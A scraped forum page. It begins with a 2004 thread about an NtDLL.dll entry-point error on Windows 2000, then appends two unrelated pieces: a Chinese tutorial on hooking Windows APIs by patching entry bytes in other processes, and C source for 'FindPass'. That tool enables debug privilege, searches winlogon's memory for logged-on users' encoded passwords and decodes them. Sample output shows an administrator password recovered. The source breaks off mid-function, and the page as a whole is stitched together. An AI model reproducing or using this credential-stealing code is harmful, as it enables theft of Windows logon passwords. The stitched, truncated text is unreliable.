NtDLL.dll 找不到入口

hxsam 2004-09-28 07:36:15
在WindowXP Home 编译的EXE,为什么在一些Windows2000下会提示找不到入口。
是否为DLL版本冲突。

有解决办法吗?


...全文
326 11 打赏 收藏 转发到动态 举报
写回复
用AI写文章
11 条回复
切换为时间正序
请发表友善的回复…
发表回复
hxsam 2004-11-01
  • 打赏
  • 举报
回复
顶!!!!!!!!!!!!
hxsam 2004-10-28
  • 打赏
  • 举报
回复
大概原因弄清楚了:
Windows 2000 的SP4将 RtlIPv6AddressToStringA 给屏蔽了,在windows 2000的SP3还可以用,但在XP包括新出的XP SP2有重新启用。

我怎么不用重装机子就能恢复Windows2000的SP4回到SP3。

zhujiechang 2004-10-27
  • 打赏
  • 举报
回复
MS提供了关于IP6标准的SDK文件.去网上看下吧.
hxsam 2004-10-27
  • 打赏
  • 举报
回复
boywang(大力水手) (
Window SP4 2003/04/24 的NTDLL.dll(VER 5.0.2195.6899) 已经没有 RtlIPv6AddressToStringA
我考了一个 2003/05/02 (sp3)(VER 5.0.2600.1217) -被考的机(WINDOWS 2000)没问题。

放到有问题的机子。 在depends 中看到了,但还是报RtlIPv6AddressToStringA 找不到入口。
hxsam 2004-09-29
  • 打赏
  • 举报
回复
函数:RtlIPv6AddressToStringA

是在一部分的Windows2000上出现。
就是同一台机器,也是不定时的报找不到入口。
zhujiechang 2004-09-29
  • 打赏
  • 举报
回复
使用了没有被window2000支持的函数。
jam021 2004-09-29
  • 打赏
  • 举报
回复
关注,帮你顶!
boywang 2004-09-29
  • 打赏
  • 举报
回复
用depends看看函数有没有被winxp的ntdll导出。
lxcc 2004-09-28
  • 打赏
  • 举报
回复
什么api?
dongge2000 2004-09-28
  • 打赏
  • 举报
回复
注意一下大小写问题。
cso 2004-09-28
  • 打赏
  • 举报
回复
有的函数名在不同的系统有变化的,可以使用条件编译语句
#if then
#endif来判断
Windows用户层下拦截api的原理与实现(附源码) (2008-03-29 16:15:07)转载▼ 标签: computer 杂谈 声明:本页所发布的技术文章及其附件,供自由技术传播,拒绝商业使用。本页文章及其附件的所有权归属本文作者,任何使用文档中所介绍技术者对其后果自行负责,本文作者不对其承担任何责任。 Email:redcoder163.com 目录 1 摘要 2 win2000和xp的内存结构和进程地址空间 3 函数堆栈的一些知识 4 关于拦截的整体思路 5 附件代码下载以及说明 一:摘要 拦截api的技术有很多种,大体分为用户层和内核层的拦截.这里只说说用户层的拦截(内核层也可以用,关键是让你的拦截程序获得ring0特权).而用户层也分为许多种:修改PE文件导入表,直接修改要拦截的api的内存(从开始到最后,使程序跳转到指定的地址执行).不过大部分原理都是修改程序流程,使之跳转到你要执行的地方,然后再返回到原地址.原来api的功能必须还能实现.否则拦截就失去作用了.修改文件导入表的方法的缺点是如果用户程序动态加载(使用LoadLibrary和GetProcAddress函数),拦截将变得复杂一些.所以这里介绍一下第二种方法,直接修改api,当然不是全局的.(后面会说到)   需要了解的一些知识:   1.windows内存的结构属性和进程地址空间   2.函数堆栈的一些知识 二:win2000和xp的内存结构和进程地址空间 windows采用4GB平坦虚拟地址空间的做法。即每个进程单独拥有4GB的地址空间。每个进程只能访问自己的这4GB的虚拟空间,而对于其他进程的地址空间则是不可见的。这样保证了进程的安全性和稳定性。但是,这4GB的空间是一个虚拟空间,在使用之前,我们必须先保留一段虚拟地址,然后再为这段虚拟地址提交物理存储器。可是我们的内存大部分都还没有1GB,那么这4GB的地址空间是如何实现的呢?事实上windows采用的内存映射这种方法,即把物理磁盘当作内存来使用,比如我们打开一个可执行文件的时候,操作系统会为我们开辟这个4GB的地址空间:0x00000000--0xffffffff。其中0x00000000--0x7fffffff是属于用户层的空间.0x80000000--0xffffffff则属于共享内核方式分区,主要是操作系统的线程调度,内存管理,文件系统支持,网络支持和所有设备驱动程序。对于用户层的进程,这些地址空间是不可访问的。任何访问都将导致一个错误。开辟这4GB的虚拟地址空间之后,系统会把磁盘上的执行文件映射到进程的地址空间中去(一般是在地址0x00400000,可以通过修改编译选项来修改这个地址)而一个进程运行所需要的动态库文件则一般从0x10000000开始加载。但是如果所有的动态库都加载到这个位置肯定会引起冲突。因此必须对一些可能引起冲突的dll编译时重新修改基地址。但是对于所有的操作系统所提供的动态库windows已经定义好了映射在指定的位置。这个位置会随着版本的不同而会有所改变,不过对于同一台机器上的映射地址来说都是一样的。即在a进程里映射的kernel32.dll的地址和在进程b里的kernel32.dll的地址是一样的。对于文件映射是一种特殊的方式,使得程序不需要进行磁盘i/o就能对磁盘文件进行操作,而且支持多种保护属性。对于一个被映射的文件,主要是使用CreateFileMapping函数,利用他我们可以设定一些读写属性:PAGE_READONLY,PAGE_READWRITE,PAGE_WRITECOPY.第一参数指定只能对该映射文件进行读操作。任何写操作将导致内存访问错误。第二个参数则指明可以对映射文件进行读写。这时候,任何对文件的读写都是直接操作文件的。而对于第三个参数PAGE_WRITECOPY顾名思义就是写入时拷贝,任何向这段内存写入的操作(因为文件是映射到进程地址空间的,对这段空间的读写就相当于对文件进行的直接读写)都将被系统捕获,并重新在你的虚拟地址空间重新保留并分配一段内存,你所写入的一切东西都将在这里,而且你原先的指向映射文件的内存地址也会实际指向这段重新分配的内存,于是在进程结束后,映射文件内容并没有改变,只是在运行期间在那段私有拷贝的内存里面存在着你修改的内容。windows进程运行所需要映射的一些系统dll就是以这种方式映射的,比如常用的ntdll.dll,kernel32.dll,gdi32.dll.几乎所有的进程都会加载这三个动态库。如果你在一个进程里修改这个映射文件的内容,并不会影响到其他的进程使用他们。你所修改的只是在本进程的地址空间之内的。事实上原始文件并没有被改变。 这样,在后面的修改系统api的时候,实际就是修改这些动态库地址内的内容。前面说到这不是修改全局api就是这个原因,因为他们都是以写入时拷贝的方式来映射的。不过这已经足够了,windows提供了2个强大的内存操作函数ReadProcessMemory和WriteProcessMemory.利用这两个函数我们就可以随便对任意进程的任意用户地址空间进行读写了。但是,现在有一个问题,我们该写什么,说了半天,怎么实现跳转呢?现在来看一个简单的例子: MessageBox(NULL, "World", "Hello", 0); 我们在执行这条语句的时候,调用了系统api MessageBox,实际上在程序中我没有定义UNICODE宏,系统调用的是MessageBox的ANSI版本MessageBoxA,这个函数是由user32.dll导出的。下面是执行这条语句的汇编代码: 0040102A push 0 0040102C push offset string "Hello" (0041f024) 00401031 push offset string "World" (0041f01c) 00401036 push 0 00401038 call dword ptr [__imp__MessageBoxA@16 (0042428c)] 前面四条指令分别为参数压栈,因为MessageBoxA是__stdcall调用约定,所以参数是从右往左压栈的。最后再CALL 0x0042428c 看看0042428c这段内存的值: 0042428C 0B 05 D5 77 00 00 00 可以看到这个值0x77d5050b,正是user32.dll导出函数MessageBoxA的入口地址。 这是0x77D5050B处的内容, 77D5050B 8B FF mov edi,edi 77D5050D 55 push ebp 77D5050E 8B EC mov ebp,esp 理论上只要改变api入口和出口的任何机器码,都可以拦截该api。这里我选择最简单的修改方法,直接修改qpi入口的前十个字节来实现跳转。为什么是十字节呢?其实修改多少字节都没有关系,只要实现了函数的跳转之后,你能把他们恢复并让他继续运行才是最重要的。在CPU的指令里,有几条指令可以改变程序的流程:JMP,CALL,INT,RET,RETF,IRET等指令。这里我选择CALL指令,因为他是以函数调用的方式来实现跳转的,这样可以带一些你需要的参数。到这里,我该说说函数的堆栈了。 总结:windows进程所需要的动态库文件都是以写入时拷贝的方式映射到进程地址空间中的。这样,我们只能拦截指定的进程。修改目标进程地址空间中的指定api的入口和出口地址之间的任意数据,使之跳转到我们的拦截代码中去,然后再恢复这些字节,使之能顺利工作。 三:函数堆栈的一些知识 正如前面所看到MessageBoxA函数执行之前的汇编代码,首先将四个参数压栈,然后CALL MessageBoxA,这时候我们的线程堆栈看起来应该是这样的: | | <---ESP |返回地址| |参数1| |参数2| |参数3| |参数4| |.. | 我们再看MessageBoxA的汇编代码, 77D5050B 8B FF mov edi,edi 77D5050D 55 push ebp 77D5050E 8B EC mov ebp,esp 注意到堆栈的操作有PUSH ebp,这是保存当前的基址指针,以便一会儿恢复堆栈后返回调用线程时使用,然后再有mov ebp,esp就是把当前esp的值赋给ebp,这时候我们就可以使用 ebp+偏移 来表示堆栈中的数据,比如参数1就可以表示成[ebp+8],返回地址就可以表示成[ebp+4]..如果我们在拦截的时候要对这些参数和返回地址做任何处理,就可以使用这种方法。如果这个时候函数有局部变量的话,就通过减小ESP的值的方式来为之分配空间。接下来就是保存一些寄存器:EDI,ESI,EBX.要注意的是,函数堆栈是反方向生长的。这时候堆栈的样子: |....| |EDI| <---ESP |ESI| |EBX| |局部变量| |EBP | |返回地址| |参数1| |参数2| |参数3| |参数4| |.. | 在函数返回的时候,由函数自身来进行堆栈的清理,这时候清理的顺序和开始入栈的顺序恰恰相反,类似的汇编代码可能是这样的: pop edi pop esi pop ebx add esp, 4 pop ebp ret 0010 先恢复那些寄存器的值,然后通过增加ESP的值的方式来释放局部变量。这里可以用mov esp, ebp来实现清空所有局部变量和其他一些空闲分配空间。接着函数会恢复EBP的值,利用指令POP EBP来恢复该寄存器的值。接着函数运行ret 0010这个指令。该指令的意思是,函数把控制权交给当前栈顶的地址的指令,同时清理堆栈的16字节的参数。如果函数有返回值的话,那在EAX寄存器中保存着当前函数的返回值。如果是__cdecl调用方式,则执行ret指令,对于堆栈参数的处理交给调用线程去做。如wsprintf函数。 这个时候堆栈又恢复了原来的样子。线程得以继续往下执行... 在拦截api的过程之中一个重要的任务就是保证堆栈的正确性。你要理清每一步堆栈中发生了什么。 四:形成思路 呵呵,不知道你现在脑海是不是有什么想法。怎么去实现拦截一个api? 这里给出一个思路,事实上拦截的方法真的很多,理清了一个,其他的也就容易了。而且上面所说的2个关键知识,也可以以另外的形式来利用。 我以拦截CreateFile这个api为例子来简单说下这个思路吧: 首先,既然我们要拦截这个api就应该知道这个函数在内存中的位置吧,至少需要知道从哪儿入口。CreateFile这个函数是由kernel32.dll这个动态库导出的。我们可以使用下面的方法来获取他映射到内存中的地址: HMODULE hkernel32 = LoadLibrary("Kernel32.dll"); PVOID dwCreateFile = GetProcAddress(hkernei32, "CreateFileA"); 这就可以得到createfile的地址了,注意这里是获取的createfile的ansic版本。对于UNICODE版本的则获取CreateFileW。这时dwCreateFile的值就是他的地址了。对于其他进程中的createfile函数也是这个地址,前面说过windows指定了他提供的所有的dll文件的加载地址。 接下来,我们该想办法实现跳转了。最简单的方法就是修改这个api入口处的代码了。但是我们该修改多少呢?修改的内容为什么呢?前面说过我们可以使用CALL的方式来实现跳转,这种方法的好处是可以为你的拦截函数提供一个或者多个参数。这里只要一个参数就足够了。带参数的函数调用的汇编代码是什么样子呢,前面也已经说了,类似与调用MessageBoxA时的代码: PUSH 参数地址 CALL 函数入口地址(这里为一个偏移地址) 执行这2条指令就能跳转到你要拦截的函数了,但是我们该修改成什么呢。首先,我们需要知道这2条指令的长度和具体的机器代码的值。其中PUSH对应0x68,而CALL指令对应的机器码为0xE8,而后面的则分别对应拦截函数的参数地址和函数的地址。注意第一个是一个直接的地址,而第二个则是一个相对地址。当然你也可以使用0xFF0x15这个CALL指令来进行直接地址的跳转。 下面就是计算这2个地址的值了, 对于参数和函数体的地址,要分情况而定,对于对本进程中api的拦截,则直接取地址就可以了。对于参数,可以先定义一个参数变量,然后取变量地址就ok了。 如果是想拦截其他进程中的api,则必须使用其他一些方法,最典型的方法是利用VirtualAllocEx函数来在其他进程中申请和提交内存空间。然后用WriteProcessMemory来分别把函数体和参数分别写入申请和分配的内存空间中去。然后再生成要修改的数据,最后用WriteProcessMemory来修改api入口,把入口的前10字节修改为刚刚生成的跳转数据。比如在远程进程中你写入的参数和函数体的内存地址分别为0x00010000和0x00011000,则生成的跳转数据为 68 00 00 01 00 E8 00 10 01 00(PUSH 00010000 CALL 00011000),这样程序运行createfile函数的时候将会先运行PUSH 00010000 CALL 00011000,这样就达到了跳转的目的。此刻我们应该时刻注意堆栈的状态,对于CreateFile有 HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); 可以看到其有7个参数,于是在调用之前,堆栈应该已经被压入了这7个参数,堆栈的样子: |....| <---ESP |createfile执行后的下一条指令地址| |参数1| |参数2| |参数3| |参数4| |参数5| |参数6| |参数7| |..| 这是执行到我们的跳转语句:PUSH 00010000,于是堆栈又变了: |....| <---ESP |00010000| |createfile执行后的下一条指令地址| |参数1| |参数2| |参数3| |参数4| |参数5| |参数6| |参数7| |..| 接着执行CALL 00011000,堆栈变为: |...| <---ESP |api入口之后的第六个字节的指令的地址| |00010000| |createfile执行后的下一条指令地址| |参数1| |参数2| |参数3| |参数4| |参数5| |参数6| |参数7| |..| 接下来就到了我们的拦截函数中拉,当然,函数肯定也会做一些类似动作,把EBP压栈,为局部变量分配空间等。这时候堆栈的样子又变了: |EDI| <---ESP |ESI| |EBX| |局部变量| |EBP| dwMessageBox; pfnMessageBox(NULL, PFileName, PFileName, MB_ICONINFORMATION |MB_OK); //输出要打开的文件的路径..... } 对于你要使用的其他函数,都是使用同样的方式,利用这个参数来传递我们要传递的函数的绝对地址,然后定义这个函数指针,就可以使用了。 好了,接下来我们该让被拦截的api正常工作了,这个不难,把他原来的数据恢复一下就可以了。那入口的10个字节。我们在改写他们的时候应该保存一下,然后也把他放在参数中传递给拦截函数,呵呵,参数的作用可多了。接着我们就可以用WriteProcessMemory函数来恢复这个api的入口了,代码如下: PFN_GETCURRENTPROCESS pfnGetCurrentProcess = (PFN_GETCURRENTPROCESS)pRP->dwGetCurrentProcess; PFN_WRITEPROCESSMEMORY pfnWriteProcessMemory = (PFN_WRITEPROCESSMEMORY)pRP->dwWriteProcessMemory; if(!pfnWriteProcessMemory(pfnGetCurrentProcess(), (LPVOID)pfnConnect, (LPCVOID)pRP->szOldCode, 10, NULL)) pfnMessageBox(NULL, pRP->szModuleName1, pRP->szModuleName2, MB_ICONINFORMATION | MB_OK); 其中这些函数指针的定义和上面的类似。 而参数中的szoldcode则是在源程序中在修改api之前保存好,然后传给拦截函数,在源程序中是用ReadProcessMemory函数来获取他的前10个字节的: ReadProcessMemory(GetCurrentProcess(), (LPCVOID)RParam.dwCreateFile, oldcode, 10, &dwPid) strcat((char*)RParam.szOldCode, (char*)oldcode); 接下来如果你还继续保持对该api的拦截,则又该用WriteProcessMemory 来修改入口了,跟前面的恢复入口是一样的,只不过把szOldCode换成了szNewCode了而已。这样你又能对CreateFile继续拦截了。 好了,接下来该进行堆栈的清理了,也许你还要做点其他事情,尽管做去。但是清理堆栈是必须要做的,在函数结束的时候,因为在我们放任api恢复执行之后,他又return 到我们的函数中来了,这个时候的堆栈是什么样子呢? |EDI| <---ESP |ESI| |EBX| |局部变量| |EBP| <---EBP |api入口之后的第六个字节的指令的地址| |00010000| |createfile执行后的下一条指令地址| |参数1| |参数2| |参数3| |参数4| |参数5| |参数6| |参数7| |..| 我们的目标是把返回值记录下来放到EAX寄存器中去,把返回地址记录下来,同时把堆栈恢复成原来的样子。 首先我们恢复那些寄存器的值,接着释放局部变量,可以用mov esp, ebp.因为我们不清楚具体的局部变量分配了多少空间。所以使用这个方法。 __asm {POP EDI POP ESI POP EBX //恢复那些寄存器 MOV EDX, [NextIpAddr]//把返回地址放到EDX中,因为待会儿 //EBP被恢复后,线程中的所有局部变量就不能正常使用了。 MOV EAX, [RetValue]//返回值放到EAX中,当然也可以修改这个返回值 MOV ESP, EBP//清理局部变量 POP EBP//恢复EBP的值 ADD ESP, 28H //清理参数和返回地址,注意一共(7+1+1+1)*4 PUSH EDX //把返回地址压栈,这样栈中就只有这一个返回地址了,返回之后栈就空了 RET } 这样,一切就完成了,堆栈恢复了应该有的状态,而你想拦截的也拦截到了。 五:后记 拦截的方式多种多样,不过大体的思路却都相同。要时刻注意你要拦截的函数的堆栈状态以及在拦截函数中的对数据的引用和函数的调用(地址问题)。
// Find Password from winlogon in win2000 / winnt4 + < sp6 // // PasswordReminder.cpp --> FindPass.cpp // 1. http://www.smidgeonsoft.com/ // 2. shotgun add comment, bingle change a little to find other user in winlogon // This code is licensed under the terms of the GPL (gnu public license). // // Usage: FindPass DomainName UserName PID-of-WinLogon // // you can get the three params from pulist output in target system. // /* 因为登陆的域名和用户名是明文存储在winlogon进程里的,而PasswordReminder是限定了查本进程用户的密码 <167-174: GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >,然后到winlogon进程的空间中查UserDomain和UserName < 590:// 在WinLogon的内存空间中寻UserName和DomainName的字符串 if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) > ,到后就查后边的加密口令。 其实只要你自己指定用户名和winlogon进程去查就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以到。 1. pulist,到系统里登陆的域名和用户名,及winlogon进程id 2. 然后给每个winlogon进程id查指定的用户就行了。 example: C:\Documents and Settings\bingle>pulist Process PID User Idle 0 System 8 smss.exe 164 NT AUTHORITY\SYSTEM csrss.exe 192 NT AUTHORITY\SYSTEM winlogon.exe 188 NT AUTHORITY\SYSTEM wins.exe 1212 NT AUTHORITY\SYSTEM Explorer.exe 388 TEST-2KSERVER\Administrator internat.exe 1828 TEST-2KSERVER\Administrator conime.exe 1868 TEST-2KSERVER\Administrator msiexec.exe 1904 NT AUTHORITY\SYSTEM tlntsvr.exe 1048 NT AUTHORITY\SYSTEM taskmgr.exe 1752 TEST-2KSERVER\Administrator csrss.exe 2056 NT AUTHORITY\SYSTEM winlogon.exe 2416 NT AUTHORITY\SYSTEM rdpclip.exe 2448 TEST-2KSERVER\clovea Explorer.exe 2408 TEST-2KSERVER\clovea internat.exe 1480 TEST-2KSERVER\clovea cmd.exe 2508 TEST-2KSERVER\Administrator ntshell.exe 368 TEST-2KSERVER\Administrator ntshell.exe 1548 TEST-2KSERVER\Administrator ntshell.exe 1504 TEST-2KSERVER\Administrator csrss.exe 1088 NT AUTHORITY\SYSTEM winlogon.exe 1876 NT AUTHORITY\SYSTEM rdpclip.exe 1680 TEST-2KSERVER\bingle Explorer.exe 2244 TEST-2KSERVER\bingle conime.exe 2288 TEST-2KSERVER\bingle internat.exe 1592 TEST-2KSERVER\bingle cmd.exe 1692 TEST-2KSERVER\bingle mdm.exe 2476 TEST-2KSERVER\bingle taskmgr.exe 752 TEST-2KSERVER\bingle pulist.exe 2532 TEST-2KSERVER\bingle C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER administrator 188 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 188 (0x000000bc). To find TEST-2KSERVER\administrator password in process 188 ... The encoded password is found at 0x008e0800 and has a length of 10. The logon information is: TEST-2KSERVER/administrator/testserver. The hash byte is: 0x13. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\clovea password in process 1876 ... PasswordReminder is unable to find the password in memory. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER bingle 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\bingle password in process 1876 ... The logon information is: TEST-2KSERVER/bingle. There is no password. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 2416 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 2416 (0x00000970). To find TEST-2KSERVER\clovea password in process 2416 ... The logon information is: TEST-2KSERVER/clovea. There is no password. C:\Documents and Settings\bingle> */ #include #include #include #include #include typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0; wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main( int argc, char* argv[] ) { printf( "\n\t To Find Password in the Winlogon process\n" ); printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] ); if ((!IsWinNT ()) && (!IsWin2K ())) { printf ("Windows NT or Windows 2000 are required.\n"); return (0); } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. // 增加PasswordReminder的权限 // 使得PasswordReminder可以打开并调试Winlogon进程 if (!AddDebugPrivilege ()) { printf ("Unable to add debug privilege.\n"); return (0); } printf ("The debug privilege has been added to PasswordReminder.\n"); // 获得几个未公开API的入口地址 HINSTANCE hNtDll = LoadLibrary ("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress (hNtDll, "NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. // 获得Winlogon进程的PID // 这里作者使用了几个Native API,其实使用PSAPI一样可以 DWORD WinLogonPID = argc > 3 ? atoi( argv[3] ) : FindWinLogon () ; if (WinLogonPID == 0) { printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } printf("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID); // Set values to check memory block against. // 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName)); memset(UserDomain, 0, sizeof (UserDomain)); if( argc > 2 ) { mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) ); mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) ); }else { GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); } printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID ); // Locate the block of memory containing // the password in WinLogon's memory space. // 在Winlogon进程中定位包含Password的内存块 BOOL FoundPasswordPage = FALSE; if (IsWin2K ()) FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength); else FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength); if (FoundPasswordPage) { if (PasswordLength == 0) { printf ("The logon information is: %S/%S.\n", UserDomain, UserName); printf ("There is no password.\n"); } else { printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength); // Decode the password string. if (IsWin2K ()) DisplayPasswordWin2K (); else DisplayPasswordWinNT (); } } else printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } // main // // IsWinNT函数用来判断操作系统是否WINNT // BOOL IsWinNT (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE); } // IsWinNT // // IsWin2K函数用来判断操作系统是否Win2K // BOOL IsWin2K (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } // IsWin2K // // AddDebugPrivilege函数用来申请调试Winlogon进程的特权 // BOOL AddDebugPrivilege (void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } // AddDebugPrivilege // // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. // FindWinLogon函数用来寻WinLogon进程 // 由于作者使用的是Native API,因此不需要PSAPI的支持 // DWORD FindWinLogon (void) { #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfnNtQuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); // Now, allocate the proper amount of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten)) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i <= NumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, DebugBufferP) == 0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60); DWORD Count = ProcessInfoHeaderP->Count; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER)); if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0) { DWORD i; DWORD dw = (DWORD) ProcessInfoP; for (i = 0; i < Count; i++) { dw += sizeof (PROCESS_INFO); ProcessInfoP = (PPROCESS_INFO) dw; if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0) return (0); if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0) rc = QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); } DWORD dw = (DWORD) QuerySystemInformationP; dw += sizeof (QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; } 